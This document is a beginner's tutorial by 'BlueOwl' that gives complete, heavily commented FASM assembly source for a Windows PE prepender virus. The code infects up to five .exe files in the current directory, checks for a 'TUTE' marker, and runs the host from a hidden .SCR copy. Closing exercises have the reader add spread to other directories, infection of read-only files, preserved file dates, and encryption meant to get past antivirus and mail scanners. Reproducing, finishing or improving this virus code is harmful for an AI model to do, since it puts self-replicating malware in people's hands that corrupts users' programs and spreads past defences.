Simple pe prepender-like tutorial virus    [by BlueOwl]

  


; ########################################################################
;
; Hi, welcome to 'Simple pe prepender-like tutorial virus' for
; beginners.
;
; Before we get started, this is what you need to know:
; o For starters, you need to know the basic assembler instructions. If
;   you don't know them, i recommend you searching the internet for
;   tutorials like 'adams assembly tutorial'. Afcourse, without this
;   knowledge, there is no use reading this tutorial.
; o You need to know how 'invoke' works and have a little bit of knowledge
;   on how fasm works.
; o It is recommend and assumed you have at least programmed a simple
;   overwriting virus or/and a companion virus.  The easy prepender is
;   like a mix of the two.
;
; You need to have:
; o The flat assembler (free), available from http://www.flatassembler.net.
; o Recommend is a win32 api reference
; o Intelligence, persistance, etc... :-)
;
; Okay my friend, we are ready to take a plunge into the real stuff..
;
; Real start:
; What we are going to do is make a very simple pe prepender. A pe
; prepender normally infects files by placing a copy of themselves
; over the program to infect and attach the original program to its
; back. When run, it places the original file back in memory and
; runs it. Because working with memory and jumps to the original
; program is not as easy as it seems, what we are going to do is
; simply writing the original program to a file and running it
; there.
;
; Main program functions:
; The program routine looks like the following:
;
;  1. Write the host to a file & load virus in memory for infection
;  2. Execute the host
;  3. Find a file to infect
;  4. If possible infect it
;  5. If there are more files and the virus hasn't infected more than
;     a number of files jump to step 3.
;  6. Unload virus from memory
;  7. Exit the program
;
; As you can notice, we don't delete the temporary file. It is probably
; still running so we can't delete it.
;
; Let's start with some code . .
; ------------------------------------------------------------------------

; SOV (start of virus)

format PE GUI 4.0		   ; declare our program

include '%fasminc%\win32a.inc'	   ; include the necassary stuff, note that
				   ; when you first install fasm to put two
				   ; lines in fasmw.ini with "[Enviroment]",
				   ; ,"Fasminc = C:\something\include".

virus_program_size	equ 2560   ; Declare the virus size to 2560, when
				   ; you choose to edit the virus remember
				   ; to adjust this!!

; Declare a macro to make buffers
macro dup label,lcount
 { forward
   label#:
   common
    repeat lcount
   forward
    db		0
   common
    end repeat }

; ------------------------------------------------------------------------
; Now that we have declared some stuff, it is time to start with the real
; code. Note that i didn't include any .code or .data on purpose (if you
; were wondering), the compiler will automatically output .flat code.


start:

	call		load_program	  ; load virus and write host
	or		eax, eax	  ; compare if..
	jnz		load_ok 	  ; equal to zero
	jmp		exit_program	  ; yes (error)? exit program
	load_ok:
	call		execute_host	  ; order fries and pizza..
					  ; just kidding, execute host

	call		infect_directory  ; while the host is running
					  ; start infecting some stuff

	call		unload_program	  ; we're done, unload virus
	exit_program:
	invoke		ExitProcess, 0	  ; exit, see ya later!


; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
load_program:
	; To load the virus, we've got to open the running process's file, and
	; read exactly the virus' size.

	invoke		GetModuleFileNameA, 0,main_buffer,256  ; get current process' location.
	invoke		CreateFileA, main_buffer,GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,\
			0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ; open it
	cmp		eax, INVALID_HANDLE_VALUE	       ; error opening?
	jne		open_ok 			       ; nope ok
	jmp		load_error			       ; error, leave
	open_ok:
	mov		[file_handle], eax		       ; save file handle
	invoke		GetFileSize, [file_handle],0	       ; get file size
	mov		[file_size], eax		       ; save it
	invoke		GlobalAlloc, GMEM_MOVEABLE,virus_program_size ; open enough memory
	or		eax, eax			       ; error (0)??
	jz		alloc_error			       ; yes..leave
	mov		[mem_handle], eax		       ; save handle 1
	invoke		GlobalLock, [mem_handle]	       ; get memory start
	mov		[mem_start], eax		       ; save it..
	invoke		ReadFile, [file_handle],[mem_start],virus_program_size,NBR,0 ; read entire virus code
	sub		[file_size],virus_program_size	       ; substract read size
	invoke		GlobalAlloc, GMEM_MOVEABLE,[file_size] ; get enough memory to save the rest
	mov		[second_mem_handle], eax	       ; save its handle
	invoke		GlobalLock,[second_mem_handle]	       ; get memory start (2)
	mov		[second_mem_start],eax		       ; save it..
	invoke		ReadFile, [file_handle],[second_mem_start],[file_size],NBR,0 ; read what's after the virus

	; We've now got both the virus and the host read into buffers
	; we now only have to write the host to a file and we're done.
	; Because we can't have the host have its original name we
	; have to give the new file a new extension.

	mov		eax, main_buffer		       ; eax = start main_buffer
	get_ext:
	inc		eax				       ; eax = eax + 1
	cmp		byte [eax], 0			       ; is the byte at eax zero?
	jne		get_ext 			       ; no? jump to get_ext
	mov		dword [eax-4], ".SCR"		       ; change extension to ".SCR"

	; The above will change something like
	; C:\some\path\name\host.exe to C:\some\path\name\host.scr
	; Note: for the one's who didn't do their research;
	;       in other assemblers ".SCR" would be "RCS.",
	;       but not in fasm. :)

	; Now we have to write the host to file..

	invoke		CreateFileA, main_buffer,GENERIC_WRITE,FILE_SHARE_READ,\
			0,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,0 ; create the new file
	mov		[second_file_handle], eax		; save it's handle
	invoke		WriteFile, [second_file_handle],[second_mem_start],[file_size],NBR,0 ; write the host to the file
	invoke		SetEndOfFile, [second_file_handle]	; set 'EOF' (end of file). not doing this
								; will cause strange errors..
	invoke		CloseHandle, [second_file_handle]	; close it up
	invoke		GlobalUnlock,[second_mem_handle]	; unlock memory
	invoke		GlobalFree,[second_mem_handle]		; free memory

	alloc_error:
	invoke		CloseHandle, [file_handle]		; close our file up

	ret							; return
	load_error:
	xor		eax, eax				; eax = 0 (error)
ret								; return

; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
infect_directory:
	; Because we want to infect the files in the current directory,
	; we afcourse first have to know which files are there.
	invoke		FindFirstFileA, exe_mask, FIND_STRUCT	; find the first *.exe
	cmp		eax, INVALID_HANDLE_VALUE		; error!?
	jne		find_ok 				; no? allright then
	jmp		exit_search				; exit..
	find_ok:
	mov		[find_handle], eax			; save the find handle returned
	call		infect_file				; infect the file found
								; (if possible)
	find_loop:
	cmp		[infection_counter], 0			; have we infected 5 files?
	je		find_close				; yes..exit
	invoke		FindNextFile, [find_handle],FIND_STRUCT ; find the next file
	or		eax, eax				; returns false (0)?
	jz		find_close				; yes..exit
	call		infect_file				; infect the file found
	jmp		find_loop				; jump back to find_loop
	find_close:
	invoke		FindClose, [find_handle]		; close the find handle
	exit_search:
ret								; return

; ------------------------------------------------------------------------
; ------------------------------------------------------------------------

infect_file:
	; To infect the file found, we:
	; 1) open it; 2) read the stuff inside; 3) write the virus to it
	; 4) write the original stuff behind it

	invoke		CreateFileA, cFileName,GENERIC_READ,FILE_SHARE_READ,\
			0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0  ; open the file in read-access
	cmp		eax, INVALID_HANDLE_VALUE		 ; error!?
	je		error_infect_exit			 ; yes..exit
	mov		[file_handle], eax			 ; save the handle
	invoke		GetFileSize, [file_handle], 0		 ; get the filesize
	mov		[file_size], eax			 ; save it
	invoke		GlobalAlloc, GMEM_MOVEABLE, [file_size]  ; get enough memory
	mov		[second_mem_handle], eax		 ; save its handle
	invoke		GlobalLock, [second_mem_handle] 	 ; lock and get start
	mov		[second_mem_start], eax 		 ; save memstart
	invoke		ReadFile, [file_handle],[second_mem_start],[file_size],NBR,0  ; read everything to the buffer
	invoke		CloseHandle, [file_handle]		 ; close the file

	; We have the file in a buffer but don't know yet if it's
	; infected or not. To check wether or not it was we check
	; the file for the infection marker "TUTE", if it exists
	; we abord.
	; To avoid problems we skip the check if the file is shorter
	; then the virus (the host couldn't possibly be infected).

	cmp		[file_size], virus_program_size 	 ; filesize shorter then virus?
	jb		is_not_infected 			 ; yes..skip infection check
	mov		eax, [second_mem_start] 		 ; put the filestart in eax
	mov		ecx, virus_program_size 		 ; put virus size in ecx
	check_if_infected_loop:
	cmp		dword [eax+ecx], "TUTE" 		 ; dword at eax+ecx equals "TUTE"
	je		error_infect_exit			 ; yes..skip infection
	dec		ecx					 ; decrement ecx
	jne		check_if_infected_loop			 ; still more? jmp check_..
	is_not_infected:

	; Everything okay. Continue with infection.

	invoke		CreateFileA, cFileName,GENERIC_WRITE,FILE_SHARE_READ,\
			0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0  ; Open our victim for the second time,
								 ; now with WRITE access.
	cmp		eax, INVALID_HANDLE_VALUE		 ; error!?
	je		error_infect_exit			 ; yes..skip infection
	mov		[file_handle], eax			 ; save its handle
	invoke		WriteFile, [file_handle],[mem_start],virus_program_size,NBR,0  ; write the virus code
	invoke		WriteFile, [file_handle],[second_mem_start],[file_size],NBR,0  ; write original program
	invoke		SetEndOfFile, [file_handle]		 ; set EOF (end of file).

	invoke		GlobalUnlock, [second_mem_handle]	 ; unlock memory
	invoke		GlobalFree, [second_mem_handle] 	 ; free it
	dec		[infection_counter]			 ; infection_counter = infection_counter - 1

	error_close:
	invoke		CloseHandle, [file_handle]		 ; close filehandle

	error_infect_exit:
ret								 ; return

; ------------------------------------------------------------------------
; ------------------------------------------------------------------------

execute_host:

	; To execute the host multiple ways exist. The easiest though
	; is ShellExecute, so we just use this to execute.
       invoke		ShellExecute, 0,str_open,main_buffer,0,\
			0,SW_SHOW				 ; execute

ret	; return

; ------------------------------------------------------------------------
; ------------------------------------------------------------------------

unload_program:
	; Before we quit, we first have to free the memory the virus
	; was stored in to use with infection.
	invoke		GlobalUnlock,[mem_handle] ; unlock virusdata memory
	invoke		GlobalFree,[mem_handle]   ; free it
ret						  ; return

; ########################################################################

 ; data used by the virus

infection_counter	db 5		      ; the infection counter, initiated with 5.
exe_mask		db "*.exe",0	      ; type of files to search for (.exes)
str_open		db "open",0	      ; open command with shellexecute
find_handle		dd 0		      ; handles/other stuff..
file_handle		dd 0
second_file_handle	dd 0
file_size		dd 0
mem_handle		dd 0
second_mem_handle	dd 0
mem_start		dd 0
second_mem_start	dd 0
NBR			dd 0		      ; number bytes written/read
dup			main_buffer, 256      ; buffer of 256 bytes

FIND_STRUCT:				      ; find structure used with searching
  dwFileAttributes	dd 0
  ftCreationTime	dd 0,0
  ftLastAccessTime	dd 0,0
  ftLastWriteTime	dd 0,0
  nFileSizeHigh 	dd 0
  nFileSizeLow		dd 0
  dwReserved0		dd 0
  dwReserved1		dd 0
  dup			cFileName, 256	      ; found file buffer
  dup			cAlternate, 14

; ------------------------------------------------------------------------
; ------------------------------------------------------------------------

; imports used by the virus

data import

 library kernel32,'KERNEL32.DLL',\	      ; declare librarys used
	 shell32,'SHELL32.DLL'

 import kernel32,\			      ; apis used from kernel32
	ExitProcess,'ExitProcess',\
	GetModuleFileNameA,'GetModuleFileNameA',\
	CreateFileA,'CreateFileA',\
	GetFileSize,'GetFileSize',\
	GlobalAlloc,'GlobalAlloc',\
	GlobalLock,'GlobalLock',\
	ReadFile,'ReadFile',\
	WriteFile,'WriteFile',\
	SetEndOfFile,'SetEndOfFile',\
	CloseHandle,'CloseHandle',\
	GlobalUnlock,'GlobalUnlock',\
	GlobalFree,'GlobalFree',\
	FindFirstFileA,'FindFirstFileA',\
	FindNextFile,'FindNextFileA',\
	FindClose,'FindClose'

 import shell32,\
	ShellExecute,'ShellExecuteA'	     ; api used from shell32

end data

; EOV (end of virus :))

; ########################################################################
; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
; ########################################################################
;
; Exersises:
; To practise your programming skills, try doing the following
; exercises (ranging in difficulty) with it:
;
;  1. Because we just try to open the file in write-mode read-only protect-
;     ed files will not get infected. Try modifying the virus in a way
;     it will be able to infect read-only files yet preserving/restoring
;     their attributes after infection. Also try preserving the original
;     file dates.
;  2. The virus currently only infects the current directory, try getting
;     the virus to infect the current, and at least one directory up the
;     latter ('C:\path'&'C:\path\another path').
;     (Hint: make use of another FindFirstFileA and SetCurrentDirectoryA)
;  3. Because the host is appended to the back of the original file, it
;     is very easy (for programs like antivirusses) to clean the program
;     of the virus, it also makes an easy target for mailscanners. Try
;     making some kind of- and using an encryption procedure before appen-
;     ding the original host, and adding a decryption procedure for the
;     writing-to-file.
;  4. There are more extensions then just .exe for executables. Modify
;     the virus in a way it will infect both *.exe and *.scr, and will
;     use appropiate extraction (if *.exe -> *.scr, if *.scr -> *.exe).
;
;  Note: keep in mind to change the virus_program_size when needed!
;
;*************************************************************************